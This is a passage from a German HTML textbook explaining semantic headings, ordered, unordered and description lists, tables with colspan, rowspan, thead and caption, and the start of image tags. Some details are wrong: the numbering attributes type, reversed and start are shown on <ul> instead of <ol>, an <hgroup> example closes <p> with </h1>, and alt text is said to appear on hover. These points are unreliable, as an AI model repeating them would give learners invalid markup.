            Browser setzen die verschiedenen Überschriften üblicherweise mit verschiedenen Schriftgrößen um. Die optischen Effekte haben aber, wie Sie bereits wissen, mit der Semantik und Korrektheit des Codes nichts zu tun. Beispielsweise sollte man keine <h3> nutzen, nur weil die <h1> zu groß ist.

            Hier folgen Beispiele von Überschriften, die semantisch – also von der Bedeutung her – korrekt sind oder auch nicht:

            <!DOCTYPE html>
<html lang="de">
    <head>
        <title>Anwendung von Überschriften</title>
        <meta charset="utf-8">
    </head>
    <body>
        <h1>Kapitel 1</h1>
        <p>Hallo, ich bin der zugehörige Text ...</p>
        <h2>Kapitel 1.1.</h2>
        <p>Ich bin noch mehr Text …</p>
        <h2>Kapitel 1.2.</h2>
        <p>Blablabla</p>
    </body>
</html>


            Listing 5.1    
            Eine korrekte Anwendung von Überschriften

            Obiger Code ist in Ordnung, da die Hierarchie der Überschriften eingehalten wurde: Es wurde zunächst eine <h1> verwendet, auf die danach beliebig viele (Unter-Überschriften) <h2> folgen dürfen.

            <!DOCTYPE html>
<html lang="de">
    <head>
        <title>Anwendung von Überschriften</title>
        <meta charset="utf-8">
    </head>
    <body>
        <h1>Kapitel 1</h1>
        <p>Hallo, ich bin der zugehörige Text ...</p>
        <h3>Kapitel 1.1.1.</h3>
        …
    </body>
</html>


            Listing 5.2    
            Eine falsche Anwendung von Überschriften

            Obiger Code hingegen ist nicht okay, da die Ebene <h2> vor der Ebene <h3> fehlt und somit die Hierarchie von Überschriften nicht eingehalten wurde: Auf eine Haupt-Überschrift kann keine Unter-Unter-Überschrift folgen. Würde man diesen Fall mit einem Buch vergleichen, so würde dort direkt auf Kapitel 1 das Kapitel 1.1.1 folgen, ohne dass zuvor ein Kapitel 1.1 existiert hätte.

            <!DOCTYPE html>
<html lang="de">
    <head>
        <title>Anwendung von Überschriften</title>
        <meta charset="utf-8">
    </head>
    <body>
        <h2>Text …</h2>
    </body>
</html>


            Obiger Code ist ebenfalls nicht okay, da eine vorhergehende Überschrift der ersten Hierarchie-Ebene (<h1>) fehlt. Außerdem ist es nicht sinnvoll, eine Überschrift ohne folgenden Inhalt zu verwenden, denn die Betrachter Ihrer Website würden sich fragen, welcher Inhalt hier fehlt.

            
                [»]  Verkürzter Code

                In weiterer Folge wird auf die Darstellung des gesamten HTML-Gerüsts verzichtet. Der in den weiteren Beispielen verwendete HTML-Code kann demnach an beliebiger Stelle im <body> eines HTML-Dokuments verwendet werden.

            

            In manchen Fällen ist es erwünscht, eine Überschrift und einen Absatz als zusammenhängende Einheit darzustellen, was etwa im Falle einer Subline zu einer Überschrift sinnvoll wäre. Hierzu wird ein <hgroup> Element verwendet:

            <hgroup>
    <h1>Manner</h1>
    <p>Mag man eben!</h1>
</hgroup>


        
        
            5.4.3    Listen

            Aus Textverarbeitungsprogrammen kennen Sie die Möglichkeit, nummerierte und unnummerierte Listen zu erstellen. In HTML existieren sogar drei Arten von Listen:

            
                	
                    Unnummerierte Liste <ul> – unordered list: Eine solche Liste verwendet Aufzählungszeichen (Bullets etc.).

                

                	
                    Nummerierte Liste <ol> – ordered list: Listen dieser Art werden nummeriert, wobei die Art der Nummerierung (Ziffern, Buchstaben, römische Ziffern) sowie der Startwert und die Zählrichtung (aufwärts, abwärts) mittels Attributangabe definiert werden können.

                

                	
                    Assoziationsliste <dl> – definition list: Listen dieser Art unterscheiden zwei Arten von Listenpunkten, nämlich Überschrifts- und Inhaltspunkte.

                

            

            Der grundlegende Aufbau einer Liste ist wie folgt:

            
                	
                    Kennzeichnung der Liste selbst: <ul>, <ol>, <dl>. Man spricht an dieser Stelle vom umgebenden Container.

                

                	
                    Kennzeichnung der Listeneinträge: für <ul> und <ol> wird das Tag <li> (list item) verwendet; für <dl> werden <dt> und <dd> verwendet.

                

            

            
                Unnummerierte/nummerierte Liste

                Wie im unteren Beispiel gut zu erkennen ist, ist für die Darstellung der Liste (ob nummeriert oder unnummeriert) lediglich der Container (<ul> bzw. <ol>) von Bedeutung, der die Listenpunkte (<li>) umgibt:

                ...
<ul>
    <li>Erster Listeneintrag</li>
    <li>mein zweiter Listeneintrag</li>
    <li>…und noch ein dritter Eintrag</li>
</ul>
…
<ol>
    <li>Erster Listeneintrag</li>
    <li>mein zweiter Listeneintrag</li>
    <li>…und noch ein dritter Eintrag</li>
</ol>
...


                Das Ergebnis für die unnummerierte Liste sehen Sie in Abbildung 5.4.

                
                    [image: Eine unnummerierte Liste (unordered list) mit drei Listenpunkten]

                    Abbildung 5.4    
            Eine unnummerierte Liste (unordered list) mit drei Listenpunkten

                
                Die nummerierte Liste sehen Sie in Abbildung 5.5.

                
                    [image: Eine nummerierte Liste (ordered list) mit ebenfalls drei Listenpunkten. Der Code unterscheidet sich von der unnummerierten Liste lediglich durch den umgebenden Container: <ol> anstatt <ul>.]

                    Abbildung 5.5    
            Eine nummerierte Liste (ordered list) mit ebenfalls drei Listenpunkten. Der Code unterscheidet sich von der unnummerierten Liste lediglich durch den umgebenden Container: <ol> anstatt <ul>.

                
                Im Falle der nummerierten Liste werden der Nummerierungstyp (Ziffern, Buchstaben, römische Ziffern), die Sortierung (auf- oder absteigend) und der Startwert über Listenattribute festgelegt:

                
                    	
                        <ul type="a">..</ul>: Die Listenpunkte werden mit a, b, c usw. nummiertert. Möglich sind:

                        
                            	
                                1: Ziffern

                            

                            	
                                a: Kleinbuchstaben

                            

                            	
                                A: Großbuchstaben

                            

                            	
                                i: kleine römische Ziffern

                            

                            	
                                I: große römische Ziffern

                            

                        

                    

                    	
                        <ul reversed>..</ul>: Die Listenpunkte werden absteigend nummeriert.

                    

                    	
                        <ul start="17">..</ul>: Die Nummerierung startet – in diesem Fall – mit 17.

                    

                

                Selbstverständlich sind auch Kombinationen dieser Attribute erlaubt (<ul start="17" reversed type="i">..</ul>), und die Reihenfolge der Attribute spielt wie gewohnt keine Rolle (<ul type="i" start="17" reversed>..</ul> ergäbe dasselbe Ergebnis).

            
            
                Definitions- bzw. Assoziationsliste

                Die Assoziationsliste (früher: Definitionsliste) oder description list verwendet zwei unterschiedliche Listenelemente:

                
                    	
                        definition term <dt>: Dieses Tag stellt eine Art Überschrift für die nachfolgenden Elemente (<dd>) dar. Auf ein <dt> dürfen jedoch auch weitere <dt>-Elemente folgen, was etwa dann der Fall wäre, wenn man in einem Glossar Haupt- und Unter-Überschriften darstellen möchte (siehe nachfolgende Beispiele).

                    

                    	
                        definition data <dd>: Dieses Tag stellt einen Listeneintrag dar, der zuvor von einem <dt> eingeleitet wurde. Auf ein <dd> dürfen weitere <dd>-Elemente oder ein <dt> folgen.

                    

                

                Assoziationslisten werden selten verwendet, da auf gewöhnlichen Webseiten die Anwendungsgebiete fehlen. Sollte man beispielsweise ein Glossar oder Metadaten darstellen wollen, so würde sich eine solche Liste eignen.

                Ein Beispiel für eine Assoziationsliste wäre etwa eine Frage-Antwort-Darstellung wie in Abbildung 5.6:

                ...
<dl>
  <dt>Definition Term - Überschrift innerhalb der Liste (kann mehrfach ↩ vorkommen)</dt>
    <dd>z. B. Antwort 1 auf obige Frage (würde dort eine stehen)</dd>
    <dd>Antwort 2…</dd>
    <dt>Frage 2</dt>
    <dd>Antwort 1 auf Frage 2</dd>
    <dd>Antwort 2 auf Frage 2</dd>
    <dd>Antwort 3 auf Frage 2</dd>
</dl>
...


                
                    [image: Eine Assoziationsliste in Form eines Frage-Antwort-Spiels]

                    Abbildung 5.6    
            Eine Assoziationsliste in Form eines Frage-Antwort-Spiels

                
                Ein anderes Beispiel wäre eine Liste wie in Abbildung 5.7, die unterschiedliche Motorradmarken samt der zugewiesenen Modelle darstellt:

                ...
<dl>
  <dt>Ducati</dt>
  <dt>Superbike</dt>
  <dt>1990-2000</dt>
    <dd>851/888</dd>
    <dd>748/916/996/998</dd>
  <dt>2001-2010</dt>
    <dd>749/999</dd>
    <dd>848/1098/1198</dd>
  <dt>ab 2011</dt>
    <dd>Panigale 899/1199/1299</dd>
    <dd>Panigale V2</dd>
    <dd>Panigale V4</dd>
  <dt>Aprilia</dt>
  <dt>Superbike</dt>
  <dt>1990-2000</dt>
    <dd>...</dd>
</dl>
...


                
                    [image: Eine Assoziationsliste mit mehreren <dt>-Elementen hintereinander, um feinere Unterteilungen zu erzeugen (ähnlich der Überschriften)]

                    Abbildung 5.7    
            Eine Assoziationsliste mit mehreren <dt>-Elementen hintereinander, um feinere Unterteilungen zu erzeugen (ähnlich der Überschriften)

                
                Natürlich wird Ihnen aufgefallen sein, dass man am obigen Beispiel schwer erkennen kann, wie man die feinere Gliederung (zweier aufeinanderfolgender <dt>) interpretieren soll. Dieses – in diesem Fall optische – Problem würde man durch den Einsatz von CSS lösen. Aus Sicht von HTML-Readern (Screenreader, Suchmaschine) wäre hingegen alles eindeutig und verständlich.

            
            
                Verschachtelung von Listen: Eine Liste in der Liste

                Eine sehr gängige Aufgabe im Falle von Listen ist das Verschachteln von Listen (Liste – Unterliste – Unter-Unterliste usw.). Aus Sicht des HTML-Codes ist es sehr wesentlich zu verstehen, dass eine Unterliste ein Teil eines Listenpunktes ist oder, mit anderen Worten, dass eine Unterliste (die eine vollständige Liste im Sinne des HTML-Codes darstellt) immer von einem <li> umschlossen sein muss.

                Ein (korrektes) Beispiel wäre etwa der folgende Code, in dem sichtbar wird, dass die verschachtelte unnummerierte Liste Teil des Listenpunktes ist:

                ...
<ul>
    <li>Erster Punkt</li>
    <li>Zweiter Punkt
        <ul>
            <li>Punkt 2.1</li>
            <li>Punkt 2.2</li>
        </ul>
    </li>
</ul>
...


                
                    [image: Ein Beispiel einer verschachtelten Liste. In diesem Fall beinhaltet der Listenpunkt mit der Beschriftung »Zweiter Punkt« eine (vollständige) unnummerierte Liste mit zwei Listenpunkten.]

                    Abbildung 5.8    
            Ein Beispiel einer verschachtelten Liste. In diesem Fall beinhaltet der Listenpunkt mit der Beschriftung »Zweiter Punkt« eine (vollständige) unnummerierte Liste mit zwei Listenpunkten.

                
                Nicht korrekt wäre, wenn die Liste nicht von einem Listenelement umschlossen ist:

                ...
<ul>
    <li>Erster Punkt</li>
    <li>Zweiter Punkt</li>
        <ul>
            <li>Punkt 2.1</li>
            <li>Punkt 2.2</li>
        </ul>
</ul>
...


                Sie können auch verschiedenartige Listen ineinander verschachteln, also z. B. eine ungeordnete Liste in eine geordnete Liste:

                ...
<ol>
    <li>Erster Punkt</li>
    <li>Zweiter Punkt
        <ul>
            <li>Punkt 2.1</li>
            <li>Punkt 2.2</li>
        </ul>
    </li>
</ol>
...


            
        
        
            5.4.4    Tabellen für die Darstellung tabellarischer Daten (und sonst nichts)

            Eine Tabelle dient zum Darstellen tabellarischer Daten, und zwar ausschließlich zum Darstellen tabellarischer Daten. Der Grund, das hier so deutlich hervorzuheben, liegt in der Vergangenheit: In den frühen Zeiten der Erstellung von Websites wurden Tabellen oft für grafisches Design zweckentfremdet (spalten- und zeilenweises Design –Table-driven Design). Das lag daran, dass sinnvolle Alternativen fehlten. Inzwischen gibt es zum Glück Flexboxen (für eine saubere eindimensionale Darstellung von Elementen; siehe Abschnitt 6.17.1) oder Grid-Systeme (für eine saubere zweidimensionale Darstellung; siehe Abschnitt 6.17.2).

            Eine Tabelle ist ein verschachteltes Gerüst aus (zumindest) drei Teilen:

            
                	
                    <table>: ist das umspannende Tag der gesamten Tabelle oder in unseren Worten ein umgebender Container, der den Nutzungszweck wiedergibt.

                

                	
                    <tr> (table row): markiert eine Tabellenzeile, die wiederum die sogenannte Tabellenzellen beinhaltet.

                

                	
                    <td> (table data): kennzeichnet Tabellenzellen, die den eigentlichen Inhalt enthalten (z. B. den Text, der innerhalb der Zellen dargestellt werden soll).

                

            

            In der Hierarchie kommen also Zeilen vor, Spalten aber nicht direkt.

            Dieses Markup erzeugt eine Tabelle mit einer Zeile und drei Zellen je Zeile:

            ...
<table>
    <tr>
        <td>Zelle 1</td>
        <td>Zelle 2</td>
        <td>Zelle 3</td>
    </tr>
</table>
...


            Wie Sie wissen, ist nicht HTML, sondern CSS für die Formatierung einer Tabelle zuständig. Ohne CSS ist die Darstellung von Tabellen in Browsern wenig zufriedenstellend, wie Abbildung 5.9 zeigt.

            
                [image: Die Darstellung einer Tabelle ohne per CSS zugeordnete Formatierung ist wenig erquickend.]

                Abbildung 5.9    
            Die Darstellung einer Tabelle ohne per CSS zugeordnete Formatierung ist wenig erquickend.

            
            Ohne CSS können Sie für Versuchszwecke (jedoch nicht für Websites, die wirklich live gehen!) ein Attribut border in das Tabellen-Tag einfügen: <table border="1">. Das border-Attribut ist jedoch deprecated (unerwünscht, da veraltet) und sollte nicht mehr eingesetzt werden. Dennoch finden Sie in Abbildung 5.10 das Ergebnis, um die erstellte Tabelle zumindest erkennen zu können:

            
                [image: Auch der unerwünschte Einsatz des border-Attributs erzeugt keine wesentlich schönere Formatierung der Tabelle, aber zumindest ist diese nun zu erkennen.]

                Abbildung 5.10    
            Auch der unerwünschte Einsatz des border-Attributs erzeugt keine wesentlich schönere Formatierung der Tabelle, aber zumindest ist diese nun zu erkennen.

            
            In Abschnitt 6.14, »Tabellenartiges Design mit CSS«, werden Sie lernen, wie Sie Tabellen formatieren können, sodass Sie auf das border-Attribut verzichten können.

            
                [Info]  deprecated – unerwünscht

                Wenn ein Feature als deprecated eingestuft wird, heißt das, dass ein solches Feature nicht mehr erwünscht ist, jedoch von gängigen Browsern immer noch unterstützt wird. In diesem konkreten Fall verstehen wir unter einem Feature entweder ein Tag oder ein Attribut.

            

            
                Zellen verbinden

                Nicht selten steht man vor der Aufgabe, einzelne Zellen sowohl in horizontaler als auch in vertikaler Richtung miteinander verbinden zu müssen. Dies wäre etwa dann notwendig, wenn Sie innerhalb von Tabellen gewisse Inhalte zusammenfassen müssen. Betrachten Sie etwa die Tabelle zu den Top-Level Domains aus Abschnitt 3.4.1 (siehe auch Abbildung 5.11), erkennen Sie, dass sich die Spalten in der ersten Zeile jeweils über drei Spalten unter ihnen erstrecken – Derartiges möchte man natürlich auch im Rahmen von Webseiten umsetzen können.

                Für das Verbinden von Zellen wird in der Zelle, in der die Verbindung beginnen soll, ein Attribut namens colspan für die Verbindung in horizontaler Richtung bzw. ein Attribut namens rowspan für die Verbindung in vertikaler Richtung benötigt.

                Weil der Aufbau einer Tabelle in Zeilenrichtung von oben nach unten sowie in Zellenrichtung von links nach rechts erfolgt, werden das colspan- bzw. rowspan-Attribut in diejenige Zelle eingefügt, die im Code (und somit auch in der Darstellung) am weitesten links bzw. am weitesten oben steht. Die Gesamtzahl der Zellen je Zeile muss dann über die Wertigkeit der verbundenen Zellen berechnet werden: Erstreckt sich eine Zelle über insgesamt drei Zellen, so zählt diese Zelle nach der Verbindung der Zellen auch für drei Zellen.

                
                    Horizontales Verbinden von Zellen

                    Entsprechend der zuvor genannten Tabelle würde sich folgender Code für die erste und zweite Zeile ergeben:

                    <table border="1">
    <tr>
        <td colspan="3">uTLD</td>
        <!-- die beiden folgenden Zellen wurden entfernt, sodass die Anzahl der Zellen erhalten bleibt -->
        <td colspan="3">sTLD (Auswahl)</td>
        <!-- die beiden folgenden Zellen wurden entfernt, sodass die Anzahl der Zellen erhalten bleibt -->
    </tr>
    <tr>
        <td>biz</td>
        <td>business</td>
        <td>ausschließlich für kommerzielle Verwendung, de facto jedoch frei ↩ zugänglich</td>
        <td>.edu</td>
        <td>educational</td>
        <td>seit 2001 auf Bildungseinrichtungen beschränkt (fast ↩ ausschließlich amerikanische Universitäten und Colleges)</td>
    </tr>
</table>


                    In der Browseransicht würde sich eine Tabelle wie in Abbildung 5.11 ergeben.

                    
                        [image: Zellen von Tabellen können in horizontaler (wie auch vertikaler) Richtung verbunden werden.]

                        Abbildung 5.11    
            Zellen von Tabellen können in horizontaler (wie auch vertikaler) Richtung verbunden werden.

                    
                    Wesentlich beim Verbinden von Zellen ist also, dass sich insgesamt die Anzahl der Zellen nicht verändern darf, denn nach wie vor gilt die Regel, dass die Anzahl der Zellen je Zeile gleich bleiben muss. Dies bedeutet aber auch: Wenn sich eine Zelle über zwei Zellen erstrecken soll, muss die zweite Zelle entsprechend entfernt werden. Im obigen Fall erstreckt sich jede der Zellen in der ersten Zeile über je drei Zellen, weshalb – bei einer Gesamtzahl von sechs Zellen je Zeile – die jeweils folgenden zwei Zellen gelöscht werden müssen:

                    <tr>
    <td colspan="3">uTLD</td>
    <!-- muss entfernt werden: <td>..</td>-->
    <!-- muss entfernt werden: <td>..</td>-->
    <td colspan="3">sTLD (Auswahl)</td>
    <!-- muss entfernt werden: <td>..</td>-->
    <!-- muss entfernt werden: <td>..</td>-->
</tr>


                    Somit ergibt sich pro Zeile wiederum eine identische Anzahl an Zellen, und zwar sechs Zellen im obigen Beispiel.

                    Wie bereits im obigen Beispiel dargestellt, wird zum Verbinden von Zellen in horizontaler Richtung das colspan-Attribut verwendet, wobei der Wert des Attributs die Anzahl von Zellen angibt, über die sich die betreffende Zelle erstrecken soll:

                    
                        	
                            <td colspan="2">: Diese Zelle erstreckt sich horizontal über zwei Zellen.

                        

                        	
                            <td colspan="5">: Diese Zelle erstreckt sich wiederum horizontal über fünf Zellen.

                        

                    

                    Um Tabelle 5.1 umzusetzen, muss sich die zweite Zelle der ersten Zeile über zwei Zellen erstrecken:

                    
                        
                            
                                	
                                    Zelle 1-1

                                
                                	
                                    Zelle 1-2 und Zelle 1-3

                                
                                	
                                    Zelle 1-4

                                
                            

                            
                                	
                                    Zelle 2-1

                                
                                	
                                    Zelle 2-2

                                
                                	
                                    Zelle 2-3

                                
                                	
                                    Zelle 2-4

                                
                            

                        
                    

                    Tabelle 5.1    
            Oft ist es erforderlich, Zellen einer Tabelle miteinander zu verbinden.

                    Hieraus ergibt sich dieser Code:

                    <table>
    <tr>
        <td>Zelle 1-1</td>
        <td colspan="2">Zelle 1-2 und Zelle 1-3</td>
        <td>Zelle 1-4</td>
    </tr>
    <tr>
        <td>Zelle 2-1</td>
        <td>Zelle 2-2</td>
        <td>Zelle 2-3</td>
        <td>Zelle 2-4</td>
    </tr>
</table>


                
                
                    Vertikales Verbinden von Zellen

                    Was horizontal klappt, wird wohl auch vertikal funktionieren. In diesem Fall heißt das benötigte Attribut jedoch rowspan, da sich die Zelle nun über Zeilen (rows) erstrecken muss. Die Funktionsweise ist jedoch dieselbe:

                    
                        	
                            <td rowspan="2">: Die Zelle erstreckt sich vertikal über zwei Zellen.

                        

                        	
                            <td rowspan="5">: Die Zelle erstreckt sich vertikal über fünf Zellen.

                        

                    

                    
                        
                            
                                	
                                    Zelle 1-1

                                
                                	
                                    Zelle 1-2

                                
                                	
                                    Zelle 1-3

                                
                                	
                                    Zelle 1-4 und Zelle 2-4

                                
                            

                            
                                	
                                    Zelle 2-1

                                
                                	
                                    Zelle 2-2

                                
                                	
                                    Zelle 2-3

                                
                            

                        
                    

                    Tabelle 5.2    
            Neben der horizontalen Verbindung von Zellen ist ebenso eine vertikale Verbindung möglich.

                    Der Code ist ähnlich wie der Code zuvor, nur wird nun eben ein rowspan verwendet:

                    <table>
    <tr>
        <td>Zelle 1-1</td>
        <td>Zelle 1-2</td>
        <td>Zelle 1-3</td>
        <td rowspan="2">Zelle 1-4 und Zelle 2-4</td>
    </tr>
    <tr>
        <td>Zelle 2-1</td>
        <td>Zelle 2-2</td>
        <td>Zelle 2-3</td>
    </tr>
</table>


                
                
                    Horizontales und vertikales Verbinden von Zellen

                    Selbstverständlich kann man Zellen auch horizontal und vertikal verbinden, was das folgende (kombinierte) Beispiel zeigt:

                    
                        
                            
                                	
                                    Zelle 1-1

                                
                                	
                                    Zelle 1-2 und Zelle 1-3

                                
                                	
                                    Zelle 1-4 und Zelle 2-4

                                
                            

                            
                                	
                                    Zelle 2-1

                                
                                	
                                    Zelle 2-2

                                
                                	
                                    Zelle 2-3

                                
                            

                            
                                	
                                    Zelle 3-1

                                
                                	
                                    Zelle 3-2 und Zelle 3-3 und Zelle 4-2 und Zelle 4-3

                                
                                	
                                    Zelle 3-4

                                
                            

                            
                                	
                                    Zelle 4-1

                                
                                	
                                    Zelle 4-4

                                
                            

                        
                    

                    Tabelle 5.3    
            Auch das Verbinden von Zellen horizontal und vertikal kann bisweilen notwendig werden.

                    Der zugehörige Code wäre demnach:

                    <table>
    <tr>
        <td>Zelle 1-1</td>
        <td colspan="2">Zelle 1-2 und Zelle 1-3</td>
        <td rowspan="2">Zelle 1-4 und Zelle 2-4</td>
    </tr>
    <tr>
        <td>Zelle 2-1</td>
        <td>Zelle 2-2</td>
        <td>Zelle 2-3</td>
    </tr>
    <tr>
        <td>Zelle 3-1</td>
        <td colspan="2" rowspan="2">Zelle 3-2 und Zelle 3-3 und Zelle 4‐2 ↩ und Zelle 4-3</td>
        <td>Zelle 3-4</td>
    </tr>
    <tr>
        <td>Zelle 4-1</td>
        <td>Zelle 4-4</td>
    </tr>
</table>


                    Die Browserdarstellung des Code sehen Sie in Abbildung 5.12.

                    
                        [image: Horizontale wie vertikale Verbindungen von Zellen]

                        Abbildung 5.12    
            Horizontale wie vertikale Verbindungen von Zellen

                    
                
            
            
                Strukturgebende Bereiche innerhalb einer Tabelle

                Je genauer und präziser die Daten einer Tabelle gekennzeichnet werden können, umso besser kann ein Interpreter (Browser, Screenreader, Suchmaschine) die Informationen, die sich in der Tabelle befinden, interpretieren oder – einfacher gesagt – verstehen. Das beginnt damit, dass man es in einer Tabelle sehr oft mit einer Art Überschriftenzellen zu tun hat. Natürlich wäre es möglich, diese Überschriften mithilfe von Formatierung so darzustellen, dass ein »sehfähiger« Mensch die Inhalte als solche interpretiert – beispielsweise, indem man die Inhalte fett schreibt wie in Abbildung 5.13.

                Dennoch wissen wir genau, dass das Fett-Schreiben nichts anderes ist als eine physische Auszeichnung, was bedeutet, dass irgendein Text eben fett geschrieben wurde – daraus ergibt sich aber keine andere Bedeutung (Semantik). Setzt man hingegen anstelle von <td> ein <th> (table header) ein, so ergibt sich eine andere Bedeutung: diejenige einer Überschriftenzelle.

                
                    [image: Ein Fett-Schreiben von Zelleninhalten macht noch keine Überschriftenzellen aus!]

                    Abbildung 5.13    
            Ein Fett-Schreiben von Zelleninhalten macht noch keine Überschriftenzellen aus!

                
                
                    [Info]  Physische Auszeichnungen

                    Unter einer physischen Auszeichnung versteht man eine Markierung, die an sich ohne Bedeutung ist. Fett geschriebener Text hat – streng genommen – keine Bedeutung. Erst der Mensch weist der Fettschreibung einen Sinn zu (»wichtig«). Gäbe es jedoch ein Tag, das einen Text als wichtig kennzeichnen würde, so wäre der Sinn auch in der Semantik deutlich. Tatsächlich existieren solche Tags ja auch: das <strong> bzw. das <em> für Text.

                

                Bei der Nutzung einer Überschriftenzelle wird zudem die Wirkrichtung – der sogenannte scope – angegeben: Will man auf eine Spaltenüberschrift (vertikale Richtung) erzeugen, so gilt scope="col"; geht es hingegen um eine Zeilenüberschrift (horizontale Richtung), so wird scope="row" gesetzt.

                Die korrekte Anwendung von Überschriftenzellen im obigen Beispiel wäre wie folgt:

                <table>
    <tr>
        <th colspan="3" scope="col">uTLD</th>
        <th colspan="3" scope="col">sTLD (Auswahl)</th>
    </tr>
    <tr>
        <td>biz</td>
        <td>business</td>
        <td>ausschließlich für kommerzielle Verwendung, de facto jedoch ↩ frei zugänglich</td>
        <td>.edu</td>
        <td>educational</td>
        <td>seit 2001 auf Bildungseinrichtungen beschränkt (fast ↩ ausschließlich amerikanische Universitäten und Colleges)</td>
    </tr>
</table>


                Das Ergebnis im Browser (siehe Abbildung 5.14) zeigt keinen wesentlichen optischen Unterschied (bis auf die Tatsache, dass der Inhalt einer <th> üblicherweise vom Browser zentriert dargestellt wird) – der semantische Unterschied im Sinne der Bedeutung einer Überschriftenzelle ist jedoch groß.

                
                    [image: Auszeichnung von Überschriftenzellen als Table Header]

                    Abbildung 5.14    
            Auszeichnung von Überschriftenzellen als Table Header

                
                Doch neben der Auszeichnung von Überschriftenzellen als Table Header stellt uns HTML noch einige weitere semantische Tags zur Verfügung, um die Struktur zu verbessern. Den Bereich einer Tabelle, der die Daten enthält, nennen wir den Body-Bereich der Tabelle. Er umfasst alle betroffenen Zeilen mit einem <tbody>. Sehr oft werden in Tabellen jedoch auch Überschriftenzellen zum Einsatz kommen. Sie sollten derartige Zellen mit einem scope="col" versehen, so spricht man ja von einer Überschriftenzelle für Spalten – all diese Spalten stehen in der Tabelle dann auch in derselben Zeile, und eine solche Zeile bildet dann zumeist den Kopf-Bereich der Tabelle: <thead>. Existiert dann zusätzlich am Ende der Tabelle auch ein Fußbereich, dann setzt man die betroffene(n) Zeile(n) in einen <tfoot>.

                Somit existieren also üblicherweise drei Bereiche in einer Tabelle:

                
                    	
                        Kopfbereich: <thead>

                    

                    	
                        Körperbereich: <tbody>

                    

                    	
                        Fußbereich: <tfoot>

                    

                

                Das ergibt wiederum nachfolgendes Gerüst, wobei die Bereichsangaben nicht zwingend sind: Nicht in jeder Tabelle findet man einen Kopf- oder Fußbereich – einen Body-Bereich findet man jedoch immer vor, denn ansonsten würde eine Tabelle keinen Sinn ergeben.

                <table>
    <thead>
        …
    </thead>
    <tbody>
        …
    </tbody>
    <tfoot>
        …
    </tfoot>
</table>


                Wenden wir unser Wissen auf ein konkretes Beispiel an. Wir könnten etwa vor der Aufgabe stehen, Tabelle 5.4 umsetzen zu müssen:

                
                    
                        
                            	
                                Vorname

                            
                            	
                                Nachname

                            
                            	
                                E-Mail-Adresse

                            
                        

                    
                    
                        
                            	
                                Uwe

                            
                            	
                                Mutz

                            
                            	
                                uwe.mutz@syne.at

                            
                        

                        
                            	
                                John

                            
                            	
                                Doe

                            
                            	
                                john.doe@test.com

                            
                        

                    
                

                Tabelle 5.4    
            Kundentabelle

                Der zugehörige HTML-Code wäre alsdann wie folgt:

                <table>
    <thead>
        <tr>
            <th scope="col">Vorname</th>
            <th scope="col">Nachname</th>
            <th scope="col">E-Mail-Adresse</th>
        </tr>
    </thead>
    <tbody>
        <tr>
            <td>Uwe</td>
            <td>Mutz</td>
            <td>uwe.mutz@syne.at</td>
        </tr>
        <tr>
            <td>John</td>
            <td>Doe</td>
            <td>john.doe@test.com</td>
        </tr>
    </tbody>
    <tfoot>
        <tr>
            <td colspan="3">Kundentabelle</td>
        </tr>
    </tfoot>
</table>


                Schlussendlich fehlt uns zum absoluten Glück in Hinblick auf Tabellen nur noch eine Beschriftung. Ein Paragraf (Absatz) darüber oder darunter wäre eine erste, jedoch eine schlechte Idee, denn der Paragraf und die Tabelle würden in keiner Beziehung zueinander stehen:

                <p>Übersicht über unsere Kunden</p>
<table>
    ...
</table>


                Um einer Tabelle eine korrekte Beschriftung hinzuzufügen, wird das Tag <caption> verwendet. Dieses Tag muss direkt im Anschluss an das beginnende <table> eingefügt werden – aus Sicht der Formatierung erstreckt sich die Beschriftung zumeist über die gesamte Breite der Tabelle:

                <table>
    <caption>Übersicht über unsere Kunden</caption>
    <thead>
        <tr>
            <th scope="col">Vorname</th>
            <th scope="col">Nachname</th>
            <th scope="col">E-Mail-Adresse</th>
        </tr>
    </thead>
    <tbody>
        <tr>
            <td>Uwe</td>
            <td>Mutz</td>
            <td>uwe.mutz@syne.at</td>
        </tr>
        <tr>
            <td>John</td>
            <td>Doe</td>
            <td>john.doe@test.com</td>
        </tr>
    </tbody>
    <tfoot>
        <tr>
            <td colspan="3">Kundentabelle</td>
        </tr>
    </tfoot>
</table>


                Das Ergebnis sehen Sie in Abbildung 5.15.

                
                    [image: Tabellen mit Beschriftungen sind besser verständlich – und zwar sowohl für den sehenden als auch für den nicht sehenden Betrachter.]

                    Abbildung 5.15    
            Tabellen mit Beschriftungen sind besser verständlich – und zwar sowohl für den sehenden als auch für den nicht sehenden Betrachter.

                
            
        
        
            5.4.5    Bilder als optisches Glück und technische Herausforderung

            Für die Integration eines Bildes stehen uns zwei Tags zur Verfügung: <img> und <picture>. Den Unterschied zwischen den beiden Tags werden wir in Kürze herausfinden.

            Wichtig zu wissen ist, dass der Bildinhalt in einem zweiten Schritt (dem zweiten Request) vom Server angefragt werden muss, wodurch eine erneute Ladezeit und damit eine gewisse Verzögerung entsteht. Diese Verzögerung ist im Übrigen auch der Grund, warum immer zuerst der Text und danach erst die Bilder auf einer Website angezeigt werden: Der Text steht direkt im HTML-Code, der Bildinhalt steckt jedoch in einer anderen Datei, die erst vom Browser angefragt werden muss.

            Zu dem Tag <img> müssen Sie Folgendes wissen:

            
                	
                    <img>: Das Tag allein stellt lediglich einen leeren Container auf dem Bildschirm dar, ohne dass darin ein Bild dargestellt wird (in der Art eines Bilderrahmens ohne Bild). Eine derartige Anwendung wäre sinnlos und funktioniert auch nicht wie gewollt.

                

                	
                    <img src="Bild.jpg">: Das Tag samt Source-Angabe (src) stellt zunächst einen (noch) leeren Container (Bilderrahmen) am Bildschirm dar, lädt danach vom Server den Bildinhalt von der Datei mit dem Namen Bild.jpg und baut diesen Bildinhalt alsdann in den (noch) leeren Container ein, wodurch das Bild im Browser dargestellt wird und seine Größe dynamisch anpasst.

                

                	
                    <img src="Bild.jpg" alt="bildbeschreibender Text">: Dies erfüllt denselben Sinn wie oben, jedoch wird das Bild zusätzlich mit einem sogenannten alternativen Text (alt) versehen, mit dessen Hilfe eine Beschreibung des Bildinhaltes erfolgt. Dieser alternative Text wird von Screenreadern verwendet, außerdem wird er dargestellt, wenn man den Mauszeiger auf das Bild bewegt.

                

            

            Fasst man die oben stehenden Erklärungen zusammen, so kann man kurz und knapp festhalten:

            
                	
                    img: Image – der Bilderrahmen ohne Bild

                

                	
                    src: Source – die eigentliche Bilddatei (bzw. Quelldatei)

                

                	
